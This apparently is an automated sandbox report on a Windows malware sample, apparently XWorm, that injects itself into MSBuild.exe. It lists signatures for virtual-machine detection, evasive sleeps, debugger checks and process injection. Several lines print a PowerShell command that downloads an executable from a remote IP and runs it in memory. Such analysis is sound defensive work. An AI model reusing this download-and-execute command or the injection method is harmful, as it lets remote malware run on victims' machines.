Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Memory allocated: 2650000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Memory allocated: 2910000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Memory allocated: 2650000 memory reserve | memory write watch Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4770 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4466 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Window / User API: threadDelayed 1658 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Window / User API: threadDelayed 8186 Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\zxf44tui\zxf44tui.dll Jump to dropped file
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5324 Thread sleep count: 4770 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5324 Thread sleep count: 4466 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5532 Thread sleep time: -13835058055282155s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1912 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5968 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2300 Thread sleep time: -23058430092136925s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756 Thread sleep count: 1658 > 30 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756 Thread sleep count: 8186 > 30 Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_00007FFB11102BB2 GetSystemInfo, 3_2_00007FFB11102BB2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: Amcache.hve.12.dr Binary or memory string: VMware
Source: Amcache.hve.12.dr Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.12.dr Binary or memory string: vmci.syshbin
Source: Amcache.hve.12.dr Binary or memory string: VMware, Inc.
Source: Amcache.hve.12.dr Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.12.dr Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.12.dr Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.12.dr Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: powershell.exe, 00000003.00000002.2000142773.000002A6F801F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: Amcache.hve.12.dr Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.12.dr Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.12.dr Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.12.dr Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.12.dr Binary or memory string: vmci.sys
Source: Amcache.hve.12.dr Binary or memory string: vmci.syshbin`
Source: Amcache.hve.12.dr Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.12.dr Binary or memory string: VMware-42 27 9c 31 6b 7d 78 89-be 90 b3 22 a5 ab 1b 52
Source: Amcache.hve.12.dr Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.12.dr Binary or memory string: VMware20,1
Source: Amcache.hve.12.dr Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.12.dr Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.12.dr Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.12.dr Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.12.dr Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.12.dr Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.12.dr Binary or memory string: VMware PCI VMCI Bus Device
Source: MSBuild.exe, 00000006.00000002.3946033087.0000000000C5D000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.12.dr Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.12.dr Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.12.dr Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.12.dr Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Checks if the current process is being debugged
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process queried: DebugPort Jump to behavior
Enables debug privileges
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
.NET source code references suspicious native API functions
Source: 3.2.powershell.exe.2a6f7550000.7.raw.unpack, Employee.cs Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref libraryName), ref methodName), typeof(T))
Source: 3.2.powershell.exe.2a6f7550000.7.raw.unpack, Employee.cs Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref libraryName), ref methodName), typeof(T))
Source: 3.2.powershell.exe.2a6f7550000.7.raw.unpack, Employee.cs Reference to suspicious API methods: VirtualAllocEx(processInfo.ProcessHandle, num3, length, 12288, 64)
Compiles code for process injection (via .Net compiler)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File written: C:\Users\user\AppData\Local\Temp\zxf44tui\zxf44tui.0.cs Jump to dropped file
Injects a PE file into a foreign processes
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A Jump to behavior
Writes to foreign memory regions
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 402000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 410000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 412000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 66F008 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command $client = New-Object System.Net.WebClient; $client.Headers.Add('fDsdWpC1Kr1ADlJEQf5TUrSTrY2h2u41sMkrsfhwLwlxIQCB6y', 'VtAoUiLGBN8JuIRrrC1tFjmxppXCaGpKltJpaX9l7d4gYg3aW4'); $data = $client.DownloadData('http://147.45.44.42/boom/rcvjtk.exe'); [System.Reflection.Assembly]::Load($data).EntryPoint.Invoke($null, @()) Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zxf44tui\zxf44tui.cmdline" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESDE20.tmp" "c:\Users\user\AppData\Local\Temp\zxf44tui\CSC5EE972E128AE4289AF6E4B8451FF7C59.TMP" Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command $client = new-object system.net.webclient; $client.headers.add('fdsdwpc1kr1adljeqf5turstry2h2u41smkrsfhwlwlxiqcb6y', 'vtaouilgbn8juirrrc1tfjmxppxcagpkltjpax9l7d4gyg3aw4'); $data = $client.downloaddata('http://147.45.44.42/boom/rcvjtk.exe'); [system.reflection.assembly]::load($data).entrypoint.invoke($null, @())
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command $client = new-object system.net.webclient; $client.headers.add('fdsdwpc1kr1adljeqf5turstry2h2u41smkrsfhwlwlxiqcb6y', 'vtaouilgbn8juirrrc1tfjmxppxcagpkltjpax9l7d4gyg3aw4'); $data = $client.downloaddata('http://147.45.44.42/boom/rcvjtk.exe'); [system.reflection.assembly]::load($data).entrypoint.invoke($null, @()) Jump to behavior
Source: MSBuild.exe, 00000006.00000002.3949029976.0000000002964000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: q'PING!<Xwormmm>Program Manager<Xwormmm>0
Source: MSBuild.exe, 00000006.00000002.3949029976.0000000002964000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Program Manager
Source: MSBuild.exe, 00000006.00000002.3949029976.0000000002964000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: PING!<Xwormmm>Program Manager<Xwormmm>0
Source: MSBuild.exe, 00000006.00000002.3949029976.0000000002964000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Program Managerd-
Source: MSBuild.exe, 00000006.00000002.3949029976.0000000002964000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: q'PING!<Xwormmm>Program Manager<Xwormmm>0De
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.XML.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
